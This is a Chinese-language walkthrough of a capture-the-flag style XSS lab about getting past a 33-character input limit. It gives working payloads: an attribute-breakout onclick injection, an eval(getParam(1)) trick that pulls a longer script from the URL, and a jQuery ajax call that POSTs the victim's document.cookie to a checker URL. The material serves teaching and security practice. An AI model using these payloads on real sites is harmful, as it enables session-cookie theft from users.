我们平时测试总会用alert(1)去测试是否存在xss漏洞,但真到了要利用这个漏洞。执行的代码就不是alert(1)这么简单了,一些输入点具有字符长度的限制,可能测试语句alert(1)可以顺利执行,但真正的利用代码就会很长,导致无法顺利利用,本篇文章将会介绍些突破长度限制的方法。
靶场由知识盒子提供,靶场五 地址:https://tofu.exeye.run/limit
靶场的要求是用XSS构造一个POST请求,将自己的cookie发送到指定的URL,指定的URL会根据你发送的cookie值来决定响应内容,如果正确的话,网页将会弹出正确的flag,否则会弹出请传入正确的cookie参数
打开页面,只有一个搜索按钮可以点击,而且题目是突破长度限制,说明输入是有限制的
- 尝试通过输入字符找出限制,通过输入四组1到9,发现第四组的789没有出现在记录中,所以我们最多输入的字符为33个
- 接着我们,打开控制台,找出记录在源码中的位置,看看能不能直接触发XSS,顺便看看会不会有过滤
- 从上图我们可以看到,记录原原本本地出现在了标签之中,尝试
<script>alert(1)</script>
- 但是很遗憾,
<script>
和</script>
都被过滤掉了 - 分析代码,发现标签的内容也是我们可以控制的,所以我们可以尝试构造onclick事件
- 闭合log字段,构造payload:”onclick=”alert(1)”
- 添加到记录后我们查看源代码,成功地构造了一个onclick事件
- 点击有onclick事件的记录,成功弹窗
但是跨站脚本的目的肯定不是弹窗对吧
所以我们来构造个更有趣的payload
$.ajax({url:'https://tofu.exeye.run/limit_check', type:'post', data:{cookie:document.cookie}, success:function(res){alert(res)} })
这段代码可以向指定的URL发送POST请求,并且附上点击者的cookie,然后success字段的函数会把响应的内容以弹窗的形式反馈给我们
但是这段代码需要用eval执行,所以最终的payload为
"onclick="eval($.ajax({url:'https://tofu.exeye.run/limit_check',type:'post',data:{cookie:document.cookie},success:function(res){alert(res)}}))"
上面说了,搜索框的限制为33字符,那么我们该怎么使用这么长的payload呢
接下来我们试试第一种方法
- 在javascripts中location.href.substr(x)可获取浏览器地址栏中第x个字符以后的文本
- 比如location.href.substr(66),就是获取url中第66个字符以后的文本
- 不信的同学可以尝试到控制台去运行下,然后在地址栏中数数
-
- 所以我们可以尝试先将payload输入到地址栏中,因为地址栏是不会限制字符数的,输入后先在console测试多少个字符开始后是我们的payload
- 然后再构造另一部分payload:”onclick=”eval(location.href.substr(35))”
- 但是很遗憾这段payload的长度是44个字符,还是超过了33
- 那么只能找找网页本身的js代码,寻找是否有开发者写入的网页本身的调用参数的简单语句了
第二种方法:
控制记录输出的部分js代码
let query = getParam('query')||'' //从location.search中获取query参数的值 if (query){ query=query.replace(/<|>|script/g,'').substring(0, 33) //33字符限制 } if (query!=''){ record.record_list.unshift({search: query, time: new Date().toLocaleString()}) localStorage.setItem('searchInfo', JSON.stringify(record)) } $('.search-ipt').val(query) if (record && record.length != 0) { let str = '' record.record_list.forEach(i => { str += '<h4><a class="cd-nowrap" log="'+i.search+':content">'+i.search+'</a></h4><time datetime="2016-01-12">'+i.time+'</time>' }) $('.record-box').append(str) } }) function getParam(name) { if (location.search!=''){ //如果location.search不为空 let param = new URLSearchParams(location.search) //创建个新的对象,值为所有的参数 return decodeURI(param.get(name)) //param从参数name中取出value,然后解码 } else { return '' } }
通过分析上述代码,我们发现函数getParam()可以取出地址栏中对应参数的值
所以我们可以构造这样一个payload:
"onclick="eval(getParam(1))"
接着在后面用&附上参数1的值,也就是我们真正能发挥作用的payload
我们先让参数1的值为alert(‘XSS’),不过这里已经经过URL编码
- 然后在console中调用下函数,可以看到参数1确实被赋值了
- 点击记录,也能触发弹窗
- 接着我们就可以将参数1换成真正的payload拿到正确flag了
- 这里最后验证下,通过抓包可以看到,我们确实将自己的cookie发送过去了
- 假如你发送过去的cookie值不对,那么会提示输入正确的cookie,也无法弹出正确的flag了
- 正确的flag
知识拓展:
- location.search:地址栏中?后所有的参数值(包括问号)
js中location.href.substr(x)可获取浏览器地址栏中第x个字符以后的文本
- 比如location.href.substr(66),就是获取地址栏中第66个字符以后的文本
什么是AJAX
AJAX = 异步 JavaScript 和 XML(Asynchronous JavaScript and XML)。简短地说,在不重载整个网页的情况下,AJAX 通过后台加载数据,并在网页上进行显示。
我们的恶意代码就是通过异步的方式,在后台对指定URL发起POST请求,然后根据响应内容弹窗
$.ajax({url:'https://tofu.exeye.run/limit_check', type:'post', data:{cookie:document.cookie}, success:function(res){alert(res)} })